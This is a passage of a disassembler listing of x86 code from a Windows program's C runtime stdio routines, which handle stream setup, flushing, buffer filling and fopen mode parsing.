push offset a_file_c ; "_file.c"
push 2
push 4
mov ecx, dword_493760
push ecx
call sub_416E40
add esp, 14h
mov dword_492750, eax
cmp dword_492750, 0
jnz short loc_421175
push 1Ah
call sub_41BAE0
add esp, 4
loc_421175: ; CODE XREF: sub_4210E0+54j
; sub_4210E0+89j
mov [ebp+var_4], 0
jmp short loc_421187
; ---------------------------------------------------------------------------
loc_42117E: ; CODE XREF: sub_4210E0+C4j
mov edx, [ebp+var_4]
add edx, 1
mov [ebp+var_4], edx
loc_421187: ; CODE XREF: sub_4210E0+9Cj
cmp [ebp+var_4], 14h
jge short loc_4211A6
mov eax, [ebp+var_4]
shl eax, 5
add eax, offset off_442F80
mov ecx, [ebp+var_4]
mov edx, dword_492750
mov [edx+ecx*4], eax
jmp short loc_42117E
; ---------------------------------------------------------------------------
loc_4211A6: ; CODE XREF: sub_4210E0+ABj
mov [ebp+var_4], 0
jmp short loc_4211B8
; ---------------------------------------------------------------------------
loc_4211AF: ; CODE XREF: sub_4210E0:loc_421206j
mov eax, [ebp+var_4]
add eax, 1
mov [ebp+var_4], eax
loc_4211B8: ; CODE XREF: sub_4210E0+CDj
cmp [ebp+var_4], 3
jge short loc_421208
mov ecx, [ebp+var_4]
sar ecx, 5
mov edx, [ebp+var_4]
and edx, 1Fh
imul edx, 24h
mov eax, dword_492420[ecx*4]
cmp dword ptr [eax+edx], 0FFFFFFFFh
jz short loc_4211F6
mov ecx, [ebp+var_4]
sar ecx, 5
mov edx, [ebp+var_4]
and edx, 1Fh
imul edx, 24h
mov eax, dword_492420[ecx*4]
cmp dword ptr [eax+edx], 0
jnz short loc_421206
loc_4211F6: ; CODE XREF: sub_4210E0+F8j
mov ecx, [ebp+var_4]
shl ecx, 5
mov dword_442F90[ecx], 0FFFFFFFFh
loc_421206: ; CODE XREF: sub_4210E0+114j
jmp short loc_4211AF
; ---------------------------------------------------------------------------
loc_421208: ; CODE XREF: sub_4210E0+DCj
mov esp, ebp
pop ebp
retn
sub_4210E0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_421210 proc near ; DATA XREF: .data:0043401Co
push ebp
mov ebp, esp
call sub_421640
movsx eax, byte_4920C8
test eax, eax
jz short loc_421228
call sub_427AD0
loc_421228: ; CODE XREF: sub_421210+11j
pop ebp
retn
sub_421210 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_421230 proc near ; CODE XREF: sub_419740+55p
; sub_419B30+80p ...
arg_0 = dword ptr 8
push ebp
mov ebp, esp
cmp [ebp+arg_0], offset off_442F80
jb short loc_42125E
cmp [ebp+arg_0], offset dword_4431E0
ja short loc_42125E
mov eax, [ebp+arg_0]
sub eax, offset off_442F80
sar eax, 5
add eax, 1Ch
push eax
call sub_41BC90
add esp, 4
jmp short loc_42126B
; ---------------------------------------------------------------------------
loc_42125E: ; CODE XREF: sub_421230+Aj
; sub_421230+13j
mov ecx, [ebp+arg_0]
add ecx, 20h
push ecx
call ds:dword_494304
loc_42126B: ; CODE XREF: sub_421230+2Cj
pop ebp
retn
sub_421230 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_421270 proc near ; CODE XREF: sub_421650+7Ep
; sub_421D10+6Fp
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
cmp [ebp+arg_0], 14h
jge short loc_42128A
mov eax, [ebp+arg_0]
add eax, 1Ch
push eax
call sub_41BC90
add esp, 4
jmp short loc_421297
; ---------------------------------------------------------------------------
loc_42128A: ; CODE XREF: sub_421270+7j
mov ecx, [ebp+arg_4]
add ecx, 20h
push ecx
call ds:dword_494304
loc_421297: ; CODE XREF: sub_421270+18j
pop ebp
retn
sub_421270 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4212A0 proc near ; CODE XREF: sub_419740+70p
; sub_419B30+12Cp ...
arg_0 = dword ptr 8
push ebp
mov ebp, esp
cmp [ebp+arg_0], offset off_442F80
jb short loc_4212CE
cmp [ebp+arg_0], offset dword_4431E0
ja short loc_4212CE
mov eax, [ebp+arg_0]
sub eax, offset off_442F80
sar eax, 5
add eax, 1Ch
push eax
call sub_41BD30
add esp, 4
jmp short loc_4212DB
; ---------------------------------------------------------------------------
loc_4212CE: ; CODE XREF: sub_4212A0+Aj
; sub_4212A0+13j
mov ecx, [ebp+arg_0]
add ecx, 20h
push ecx
call ds:dword_494300
loc_4212DB: ; CODE XREF: sub_4212A0+2Cj
pop ebp
retn
sub_4212A0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4212E0 proc near ; CODE XREF: sub_421650+116p
; sub_421D10+A0p
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
cmp [ebp+arg_0], 14h
jge short loc_4212FA
mov eax, [ebp+arg_0]
add eax, 1Ch
push eax
call sub_41BD30
add esp, 4
jmp short loc_421307
; ---------------------------------------------------------------------------
loc_4212FA: ; CODE XREF: sub_4212E0+7j
mov ecx, [ebp+arg_4]
add ecx, 20h
push ecx
call ds:dword_494300
loc_421307: ; CODE XREF: sub_4212E0+18j
pop ebp
retn
sub_4212E0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_421310 proc near ; CODE XREF: sub_4197D0+71p
; sub_4282A0+400p ...
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
mov eax, [ebp+arg_0]
cmp eax, dword_492520
jnb short loc_421341
mov ecx, [ebp+arg_0]
sar ecx, 5
mov edx, [ebp+arg_0]
and edx, 1Fh
imul edx, 24h
mov eax, dword_492420[ecx*4]
movsx ecx, byte ptr [eax+edx+4]
and ecx, 1
test ecx, ecx
jnz short loc_42135C
loc_421341: ; CODE XREF: sub_421310+Dj
call sub_422F20
mov dword ptr [eax], 9
call sub_422F30
mov dword ptr [eax], 0
or eax, 0FFFFFFFFh
jmp short loc_421386
; ---------------------------------------------------------------------------
loc_42135C: ; CODE XREF: sub_421310+2Fj
mov edx, [ebp+arg_0]
push edx
call sub_4280C0
add esp, 4
mov eax, [ebp+arg_0]
push eax
call sub_421390
add esp, 4
mov [ebp+var_4], eax
mov ecx, [ebp+arg_0]
push ecx
call sub_428150
add esp, 4
mov eax, [ebp+var_4]
loc_421386: ; CODE XREF: sub_421310+4Aj
mov esp, ebp
pop ebp
retn
sub_421310 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_421390 proc near ; CODE XREF: sub_421310+5Cp
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
push esi
mov eax, [ebp+arg_0]
push eax
call sub_427F40
add esp, 4
cmp eax, 0FFFFFFFFh
jz short loc_4213E3
cmp [ebp+arg_0], 1
jz short loc_4213B2
cmp [ebp+arg_0], 2
jnz short loc_4213CC
loc_4213B2: ; CODE XREF: sub_421390+1Aj
push 1
call sub_427F40
add esp, 4
mov esi, eax
push 2
call sub_427F40
add esp, 4
cmp esi, eax
jz short loc_4213E3
loc_4213CC: ; CODE XREF: sub_421390+20j
mov ecx, [ebp+arg_0]
push ecx
call sub_427F40
add esp, 4
push eax
call ds:dword_4942E0
test eax, eax
jz short loc_4213EC
loc_4213E3: ; CODE XREF: sub_421390+14j
; sub_421390+3Aj
mov [ebp+var_4], 0
jmp short loc_4213F5
; ---------------------------------------------------------------------------
loc_4213EC: ; CODE XREF: sub_421390+51j
call ds:dword_4942F0
mov [ebp+var_4], eax
loc_4213F5: ; CODE XREF: sub_421390+5Aj
mov edx, [ebp+arg_0]
push edx
call sub_427E60
add esp, 4
mov eax, [ebp+arg_0]
sar eax, 5
mov ecx, [ebp+arg_0]
and ecx, 1Fh
imul ecx, 24h
mov edx, dword_492420[eax*4]
mov byte ptr [edx+ecx+4], 0
cmp [ebp+var_4], 0
jz short loc_421433
mov eax, [ebp+var_4]
push eax
call sub_422E80
add esp, 4
or eax, 0FFFFFFFFh
jmp short loc_421435
; ---------------------------------------------------------------------------
loc_421433: ; CODE XREF: sub_421390+90j
xor eax, eax
loc_421435: ; CODE XREF: sub_421390+A1j
pop esi
mov esp, ebp
pop ebp
retn
sub_421390 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_421440 proc near ; CODE XREF: sub_4197D0+62p
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ebx
push esi
push edi
loc_421446: ; CODE XREF: sub_421440+2Ej
cmp [ebp+arg_0], 0
jnz short loc_42146A
push offset aStreamNull ; "stream != NULL"
push 0
push 30h
push offset a_freebuf_c ; "_freebuf.c"
push 2
call sub_41BF80
add esp, 14h
cmp eax, 1
jnz short loc_42146A
int 3 ; Trap to Debugger
loc_42146A: ; CODE XREF: sub_421440+Aj
; sub_421440+27j
xor eax, eax
test eax, eax
jnz short loc_421446
mov ecx, [ebp+arg_0]
mov edx, [ecx+0Ch]
and edx, 83h
test edx, edx
jz short loc_4214CD
mov eax, [ebp+arg_0]
mov ecx, [eax+0Ch]
and ecx, 8
test ecx, ecx
jz short loc_4214CD
push 2
mov edx, [ebp+arg_0]
mov eax, [edx+8]
push eax
call sub_4174C0
add esp, 8
mov ecx, [ebp+arg_0]
mov edx, [ecx+0Ch]
and edx, 0FFFFFBF7h
mov eax, [ebp+arg_0]
mov [eax+0Ch], edx
mov ecx, [ebp+arg_0]
mov dword ptr [ecx], 0
mov edx, [ebp+arg_0]
mov dword ptr [edx+8], 0
mov eax, [ebp+arg_0]
mov dword ptr [eax+4], 0
loc_4214CD: ; CODE XREF: sub_421440+3Ej
; sub_421440+4Bj
pop edi
pop esi
pop ebx
pop ebp
retn
sub_421440 endp
; ---------------------------------------------------------------------------
align 10h
push ebp
mov ebp, esp
push ecx
cmp dword ptr [ebp+8], 0
jnz short loc_4214F6
push 0
call sub_421650
add esp, 4
jmp short loc_421520
; ---------------------------------------------------------------------------
loc_4214F6: ; CODE XREF: .text:004214E8j
mov eax, [ebp+8]
push eax
call sub_421230
add esp, 4
mov ecx, [ebp+8]
push ecx
call sub_421530
add esp, 4
mov [ebp-4], eax
mov edx, [ebp+8]
push edx
call sub_4212A0
add esp, 4
mov eax, [ebp-4]
loc_421520: ; CODE XREF: .text:004214F4j
mov esp, ebp
pop ebp
retn
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_421530 proc near ; CODE XREF: .text:00421506p
; sub_421650+B1p ...
arg_0 = dword ptr 8
push ebp
mov ebp, esp
mov eax, [ebp+arg_0]
push eax
call sub_421580
add esp, 4
test eax, eax
jz short loc_421548
or eax, 0FFFFFFFFh
jmp short loc_42156F
; ---------------------------------------------------------------------------
loc_421548: ; CODE XREF: sub_421530+11j
mov ecx, [ebp+arg_0]
mov edx, [ecx+0Ch]
and edx, 4000h
test edx, edx
jz short loc_42156D
mov eax, [ebp+arg_0]
mov ecx, [eax+10h]
push ecx
call sub_428180
add esp, 4
neg eax
sbb eax, eax
jmp short loc_42156F
; ---------------------------------------------------------------------------
loc_42156D: ; CODE XREF: sub_421530+26j
xor eax, eax
loc_42156F: ; CODE XREF: sub_421530+16j
; sub_421530+3Bj
pop ebp
retn
sub_421530 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_421580 proc near ; CODE XREF: sub_4197D0+53p
; sub_41A0D0+F8p ...
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 0Ch
mov [ebp+var_4], 0
mov eax, [ebp+arg_0]
mov [ebp+var_8], eax
mov ecx, [ebp+var_8]
mov edx, [ecx+0Ch]
and edx, 3
cmp edx, 2
jnz short loc_42161B
mov eax, [ebp+var_8]
mov ecx, [eax+0Ch]
and ecx, 108h
test ecx, ecx
jz short loc_42161B
mov edx, [ebp+var_8]
mov eax, [ebp+var_8]
mov ecx, [edx]
sub ecx, [eax+8]
mov [ebp+var_C], ecx
cmp [ebp+var_C], 0
jle short loc_42161B
mov edx, [ebp+var_C]
push edx
mov eax, [ebp+var_8]
mov ecx, [eax+8]
push ecx
mov edx, [ebp+var_8]
mov eax, [edx+10h]
push eax
call sub_422370
add esp, 0Ch
cmp eax, [ebp+var_C]
jnz short loc_421605
mov ecx, [ebp+var_8]
mov edx, [ecx+0Ch]
and edx, 80h
test edx, edx
jz short loc_421603
mov eax, [ebp+var_8]
mov ecx, [eax+0Ch]
and ecx, 0FFFFFFFDh
mov edx, [ebp+var_8]
mov [edx+0Ch], ecx
loc_421603: ; CODE XREF: sub_421580+72j
jmp short loc_42161B
; ---------------------------------------------------------------------------
loc_421605: ; CODE XREF: sub_421580+62j
mov eax, [ebp+var_8]
mov ecx, [eax+0Ch]
or ecx, 20h
mov edx, [ebp+var_8]
mov [edx+0Ch], ecx
mov [ebp+var_4], 0FFFFFFFFh
loc_42161B: ; CODE XREF: sub_421580+1Fj
; sub_421580+2Fj ...
mov eax, [ebp+var_8]
mov ecx, [ebp+var_8]
mov edx, [ecx+8]
mov [eax], edx
mov eax, [ebp+var_8]
mov dword ptr [eax+4], 0
mov eax, [ebp+var_4]
mov esp, ebp
pop ebp
retn
sub_421580 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_421640 proc near ; CODE XREF: sub_421210+3p
push ebp
mov ebp, esp
push 1
call sub_421650
add esp, 4
pop ebp
retn
sub_421640 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_421650 proc near ; CODE XREF: .text:004214ECp
; sub_421640+5p
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 0Ch
mov [ebp+var_4], 0
mov [ebp+var_8], 0
push 2
call sub_41BC90
add esp, 4
mov [ebp+var_C], 0
jmp short loc_421680
; ---------------------------------------------------------------------------
loc_421677: ; CODE XREF: sub_421650:loc_42176Ej
mov eax, [ebp+var_C]
add eax, 1
mov [ebp+var_C], eax
loc_421680: ; CODE XREF: sub_421650+25j
mov ecx, [ebp+var_C]
cmp ecx, dword_493760
jge loc_421773
mov edx, [ebp+var_C]
mov eax, dword_492750
cmp dword ptr [eax+edx*4], 0
jz loc_42176E
mov ecx, [ebp+var_C]
mov edx, dword_492750
mov eax, [edx+ecx*4]
mov ecx, [eax+0Ch]
and ecx, 83h
test ecx, ecx
jz loc_42176E
mov edx, [ebp+var_C]
mov eax, dword_492750
mov ecx, [eax+edx*4]
push ecx
mov edx, [ebp+var_C]
push edx
call sub_421270
add esp, 8
mov eax, [ebp+var_C]
mov ecx, dword_492750
mov edx, [ecx+eax*4]
mov eax, [edx+0Ch]
and eax, 83h
test eax, eax
jz short loc_421755
cmp [ebp+arg_0], 1
jnz short loc_421719
mov ecx, [ebp+var_C]
mov edx, dword_492750
mov eax, [edx+ecx*4]
push eax
call sub_421530
add esp, 4
cmp eax, 0FFFFFFFFh
jz short loc_421717
mov ecx, [ebp+var_4]
add ecx, 1
mov [ebp+var_4], ecx
loc_421717: ; CODE XREF: sub_421650+BCj
jmp short loc_421755
; ---------------------------------------------------------------------------
loc_421719: ; CODE XREF: sub_421650+A2j
cmp [ebp+arg_0], 0
jnz short loc_421755
mov edx, [ebp+var_C]
mov eax, dword_492750
mov ecx, [eax+edx*4]
mov edx, [ecx+0Ch]
and edx, 2
test edx, edx
jz short loc_421755
mov eax, [ebp+var_C]
mov ecx, dword_492750
mov edx, [ecx+eax*4]
push edx
call sub_421530
add esp, 4
cmp eax, 0FFFFFFFFh
jnz short loc_421755
mov [ebp+var_8], 0FFFFFFFFh
loc_421755: ; CODE XREF: sub_421650+9Cj
; sub_421650:loc_421717j ...
mov eax, [ebp+var_C]
mov ecx, dword_492750
mov edx, [ecx+eax*4]
push edx
mov eax, [ebp+var_C]
push eax
call sub_4212E0
add esp, 8
loc_42176E: ; CODE XREF: sub_421650+4Bj
; sub_421650+68j
jmp loc_421677
; ---------------------------------------------------------------------------
loc_421773: ; CODE XREF: sub_421650+39j
push 2
call sub_41BD30
add esp, 4
cmp [ebp+arg_0], 1
jnz short loc_421788
mov eax, [ebp+var_4]
jmp short loc_42178B
; ---------------------------------------------------------------------------
loc_421788: ; CODE XREF: sub_421650+131j
mov eax, [ebp+var_8]
loc_42178B: ; CODE XREF: sub_421650+136j
mov esp, ebp
pop ebp
retn
sub_421650 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_421790 proc near ; CODE XREF: sub_419B30+D7p
; sub_419DD0+182p ...
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 8
push ebx
push esi
push edi
loc_421799: ; CODE XREF: sub_421790+31j
cmp [ebp+arg_0], 0
jnz short loc_4217BD
push offset aStrNull ; "str != NULL"
push 0
push 69h
push offset a_filbuf_c ; "_filbuf.c"
push 2
call sub_41BF80
add esp, 14h
cmp eax, 1
jnz short loc_4217BD
int 3 ; Trap to Debugger
loc_4217BD: ; CODE XREF: sub_421790+Dj
; sub_421790+2Aj
xor eax, eax
test eax, eax
jnz short loc_421799
mov ecx, [ebp+arg_0]
mov [ebp+var_4], ecx
mov edx, [ebp+var_4]
mov eax, [edx+0Ch]
and eax, 83h
test eax, eax
jz short loc_4217E5
mov ecx, [ebp+var_4]
mov edx, [ecx+0Ch]
and edx, 40h
test edx, edx
jz short loc_4217ED
loc_4217E5: ; CODE XREF: sub_421790+46j
or eax, 0FFFFFFFFh
jmp loc_42196D
; ---------------------------------------------------------------------------
loc_4217ED: ; CODE XREF: sub_421790+53j
mov eax, [ebp+var_4]
mov ecx, [eax+0Ch]
and ecx, 2
test ecx, ecx
jz short loc_421810
mov edx, [ebp+var_4]
mov eax, [edx+0Ch]
or al, 20h
mov ecx, [ebp+var_4]
mov [ecx+0Ch], eax
or eax, 0FFFFFFFFh
jmp loc_42196D
; ---------------------------------------------------------------------------
loc_421810: ; CODE XREF: sub_421790+68j
mov edx, [ebp+var_4]
mov eax, [edx+0Ch]
or al, 1
mov ecx, [ebp+var_4]
mov [ecx+0Ch], eax
mov edx, [ebp+var_4]
mov eax, [edx+0Ch]
and eax, 10Ch
test eax, eax
jnz short loc_42183B
mov ecx, [ebp+var_4]
push ecx
call sub_427100
add esp, 4
jmp short loc_421846
; ---------------------------------------------------------------------------
loc_42183B: ; CODE XREF: sub_421790+9Bj
mov edx, [ebp+var_4]
mov eax, [ebp+var_4]
mov ecx, [eax+8]
mov [edx], ecx
loc_421846: ; CODE XREF: sub_421790+A9j
mov edx, [ebp+var_4]
mov eax, [edx+18h]
push eax
mov ecx, [ebp+var_4]
mov edx, [ecx+8]
push edx
mov eax, [ebp+var_4]
mov ecx, [eax+10h]
push ecx
call sub_421E90
add esp, 0Ch
mov edx, [ebp+var_4]
mov [edx+4], eax
mov eax, [ebp+var_4]
cmp dword ptr [eax+4], 0
jz short loc_42187B
mov ecx, [ebp+var_4]
cmp dword ptr [ecx+4], 0FFFFFFFFh
jnz short loc_4218AB
loc_42187B: ; CODE XREF: sub_421790+E0j
mov edx, [ebp+var_4]
mov eax, [edx+4]
neg eax
sbb eax, eax
and eax, 10h
add eax, 10h
mov ecx, [ebp+var_4]
mov edx, [ecx+0Ch]
or edx, eax
mov eax, [ebp+var_4]
mov [eax+0Ch], edx
mov ecx, [ebp+var_4]
mov dword ptr [ecx+4], 0
or eax, 0FFFFFFFFh
jmp loc_42196D
; ---------------------------------------------------------------------------
loc_4218AB: ; CODE XREF: sub_421790+E9j
mov edx, [ebp+var_4]
mov eax, [edx+0Ch]
and eax, 82h
test eax, eax
jnz short loc_421911
mov ecx, [ebp+var_4]
cmp dword ptr [ecx+10h], 0FFFFFFFFh
jz short loc_4218E6
mov edx, [ebp+var_4]
mov eax, [edx+10h]
sar eax, 5
mov ecx, [ebp+var_4]
mov edx, [ecx+10h]
and edx, 1Fh
imul edx, 24h
mov eax, dword_492420[eax*4]
add eax, edx
mov [ebp+var_8], eax
jmp short loc_4218ED
; ---------------------------------------------------------------------------
loc_4218E6: ; CODE XREF: sub_421790+131j
mov [ebp+var_8], offset dword_443658
loc_4218ED: ; CODE XREF: sub_421790+154j
mov ecx, [ebp+var_8]
movsx edx, byte ptr [ecx+4]
and edx, 82h
cmp edx, 82h
jnz short loc_421911
mov eax, [ebp+var_4]
mov ecx, [eax+0Ch]
or ch, 20h
mov edx, [ebp+var_4]
mov [edx+0Ch], ecx
loc_421911: ; CODE XREF: sub_421790+128j
; sub_421790+170j
mov eax, [ebp+var_4]
cmp dword ptr [eax+18h], 200h
jnz short loc_421944
mov ecx, [ebp+var_4]
mov edx, [ecx+0Ch]
and edx, 8
test edx, edx
jz short loc_421944
mov eax, [ebp+var_4]
mov ecx, [eax+0Ch]
and ecx, 400h
test ecx, ecx
jnz short loc_421944
mov edx, [ebp+var_4]
mov dword ptr [edx+18h], 1000h
loc_421944: ; CODE XREF: sub_421790+18Bj
; sub_421790+198j ...
mov eax, [ebp+var_4]
mov ecx, [eax+4]
sub ecx, 1
mov edx, [ebp+var_4]
mov [edx+4], ecx
mov eax, [ebp+var_4]
mov ecx, [eax]
movsx eax, byte ptr [ecx]
and eax, 0FFh
mov edx, [ebp+var_4]
mov ecx, [edx]
add ecx, 1
mov edx, [ebp+var_4]
mov [edx], ecx
loc_42196D: ; CODE XREF: sub_421790+58j
; sub_421790+7Bj ...
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_421790 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_421980 proc near ; CODE XREF: sub_419C70+DBp
var_24 = dword ptr -24h
var_20 = byte ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 24h
push ebx
push esi
push edi
mov eax, dword_4922C4
mov [ebp+var_1C], eax
mov [ebp+var_18], 0
mov [ebp+var_10], 0
loc_42199F: ; CODE XREF: sub_421980+47j
cmp [ebp+arg_0], 0
jnz short loc_4219C3
push offset aFilenameNull ; "filename != NULL"
push 0
push 47h
push offset a_open_c ; "_open.c"
push 2
call sub_41BF80
add esp, 14h
cmp eax, 1
jnz short loc_4219C3
int 3 ; Trap to Debugger
loc_4219C3: ; CODE XREF: sub_421980+23j
; sub_421980+40j
xor ecx, ecx
test ecx, ecx
jnz short loc_42199F
loc_4219C9: ; CODE XREF: sub_421980+71j
cmp [ebp+arg_4], 0
jnz short loc_4219ED
push offset aModeNull ; "mode != NULL"
push 0
push 48h
push offset a_open_c ; "_open.c"
push 2
call sub_41BF80
add esp, 14h
cmp eax, 1
jnz short loc_4219ED
int 3 ; Trap to Debugger
loc_4219ED: ; CODE XREF: sub_421980+4Dj
; sub_421980+6Aj
xor edx, edx
test edx, edx
jnz short loc_4219C9
loc_4219F3: ; CODE XREF: sub_421980+9Bj
cmp [ebp+arg_C], 0
jnz short loc_421A17
push offset aStrNull ; "str != NULL"
push 0
push 49h
push offset a_open_c ; "_open.c"
push 2
call sub_41BF80
add esp, 14h
cmp eax, 1
jnz short loc_421A17
int 3 ; Trap to Debugger
loc_421A17: ; CODE XREF: sub_421980+77j
; sub_421980+94j
xor eax, eax
test eax, eax
jnz short loc_4219F3
mov ecx, [ebp+arg_4]
mov dl, [ecx]
mov [ebp+var_20], dl
cmp [ebp+var_20], 61h
jz short loc_421A5C
cmp [ebp+var_20], 72h
jz short loc_421A39
cmp [ebp+var_20], 77h
jz short loc_421A4A
jmp short loc_421A6E
; ---------------------------------------------------------------------------
loc_421A39: ; CODE XREF: sub_421980+AFj
mov [ebp+var_14], 0
mov eax, [ebp+var_1C]
or al, 1
mov [ebp+var_1C], eax
jmp short loc_421A75
; ---------------------------------------------------------------------------
loc_421A4A: ; CODE XREF: sub_421980+B5j
mov [ebp+var_14], 301h
mov ecx, [ebp+var_1C]
or ecx, 2
mov [ebp+var_1C], ecx
jmp short loc_421A75
; ---------------------------------------------------------------------------
loc_421A5C: ; CODE XREF: sub_421980+A9j
mov [ebp+var_14], 109h
mov edx, [ebp+var_1C]
or edx, 2
mov [ebp+var_1C], edx
jmp short loc_421A75
; ---------------------------------------------------------------------------
loc_421A6E: ; CODE XREF: sub_421980+B7j
xor eax, eax
jmp loc_421C96
; ---------------------------------------------------------------------------
loc_421A75: ; CODE XREF: sub_421980+C8j
; sub_421980+DAj ...
mov [ebp+var_4], 1
loc_421A7C: ; CODE XREF: sub_421980:loc_421C1Aj
mov eax, [ebp+arg_4]
add eax, 1
mov [ebp+arg_4], eax
mov ecx, [ebp+arg_4]
movsx edx, byte ptr [ecx]
test edx, edx
jz loc_421C1F
cmp [ebp+var_4], 0
jz loc_421C1F
mov eax, [ebp+arg_4]
movsx ecx, byte ptr [eax]
mov [ebp+var_24], ecx
mov edx, [ebp+var_24]
sub edx, 2Bh
mov [ebp+var_24], edx
cmp [ebp+var_24], 49h
ja loc_421C13
mov ecx, [ebp+var_24]
xor eax, eax
mov al, ds:byte_421CC5[ecx]
jmp ds:off_421C9D[eax*4]
loc_421ACB: ; DATA XREF: .text:off_421C9Do
mov edx, [ebp+var_14]
and edx, 2
test edx, edx
jz short loc_421ADE
mov [ebp+var_4], 0
jmp short loc_421B00
; ---------------------------------------------------------------------------
loc_421ADE: ; CODE XREF: sub_421980+153j
mov eax, [ebp+var_14]
or al, 2
mov [ebp+var_14], eax
mov ecx, [ebp+var_14]
and ecx, 0FFFFFFFEh
mov [ebp+var_14], ecx
mov edx, [ebp+var_1C]
or dl, 80h
mov [ebp+var_1C], edx
mov eax, [ebp+var_1C]
and al, 0FCh
mov [ebp+var_1C], eax
loc_421B00: ; CODE XREF: sub_421980+15Cj
jmp loc_421C1A
; ---------------------------------------------------------------------------
loc_421B05: ; CODE XREF: sub_421980+144j
; DATA XREF: .text:00421CB1o
mov ecx, [ebp+var_14]
and ecx, 0C000h
test ecx, ecx
jz short loc_421B1B
mov [ebp+var_4], 0
jmp short loc_421B24
; ---------------------------------------------------------------------------
loc_421B1B: ; CODE XREF: sub_421980+190j
mov edx, [ebp+var_14]
or dh, 80h
mov [ebp+var_14], edx
loc_421B24: ; CODE XREF: sub_421980+199j
jmp loc_421C1A
; ---------------------------------------------------------------------------
loc_421B29: ; CODE XREF: sub_421980+144j
; DATA XREF: .text:00421CBDo
mov eax, [ebp+var_14]
and eax, 0C000h
test eax, eax
jz short loc_421B3E
mov [ebp+var_4], 0
jmp short loc_421B47
; ---------------------------------------------------------------------------
loc_421B3E: ; CODE XREF: sub_421980+1B3j
mov ecx, [ebp+var_14]
or ch, 40h
mov [ebp+var_14], ecx
loc_421B47: ; CODE XREF: sub_421980+1BCj
jmp loc_421C1A
; ---------------------------------------------------------------------------
loc_421B4C: ; CODE XREF: sub_421980+144j
; DATA XREF: .text:00421CB5o
cmp [ebp+var_18], 0
jz short loc_421B5B
mov [ebp+var_4], 0
jmp short loc_421B6B
; ---------------------------------------------------------------------------
loc_421B5B: ; CODE XREF: sub_421980+1D0j
mov [ebp+var_18], 1
mov edx, [ebp+var_1C]
or dh, 40h
mov [ebp+var_1C], edx
loc_421B6B: ; CODE XREF: sub_421980+1D9j
jmp loc_421C1A
; ---------------------------------------------------------------------------
loc_421B70: ; CODE XREF: sub_421980+144j
; DATA XREF: .text:00421CB9o
cmp [ebp+var_18], 0
jz short loc_421B7F
mov [ebp+var_4], 0
jmp short loc_421B8F
; ---------------------------------------------------------------------------
loc_421B7F: ; CODE XREF: sub_421980+1F4j
mov [ebp+var_18], 1
mov eax, [ebp+var_1C]
and ah, 0BFh
mov [ebp+var_1C], eax
loc_421B8F: ; CODE XREF: sub_421980+1FDj
jmp loc_421C1A
; ---------------------------------------------------------------------------
loc_421B94: ; CODE XREF: sub_421980+144j
; DATA XREF: .text:00421CA9o
cmp [ebp+var_10], 0
jz short loc_421BA3
mov [ebp+var_4], 0
jmp short loc_421BB3
; ---------------------------------------------------------------------------
loc_421BA3: ; CODE XREF: sub_421980+218j
mov [ebp+var_10], 1
mov ecx, [ebp+var_14]
or ecx, 20h
mov [ebp+var_14], ecx
loc_421BB3: ; CODE XREF: sub_421980+221j
jmp short loc_421C1A
; ---------------------------------------------------------------------------
loc_421BB5: ; CODE XREF: sub_421980+144j
; DATA XREF: .text:00421CA5o
cmp [ebp+var_10], 0
jz short loc_421BC4
mov [ebp+var_4], 0
jmp short loc_421BD4
; ---------------------------------------------------------------------------
loc_421BC4: ; CODE XREF: sub_421980+239j
mov [ebp+var_10], 1
mov edx, [ebp+var_14]
or edx, 10h
mov [ebp+var_14], edx
loc_421BD4: ; CODE XREF: sub_421980+242j
jmp short loc_421C1A
; ---------------------------------------------------------------------------
loc_421BD6: ; CODE XREF: sub_421980+144j
; DATA XREF: .text:00421CADo
mov eax, [ebp+var_14]
and eax, 1000h
test eax, eax
jz short loc_421BEB
mov [ebp+var_4], 0
jmp short loc_421BF4
; ---------------------------------------------------------------------------
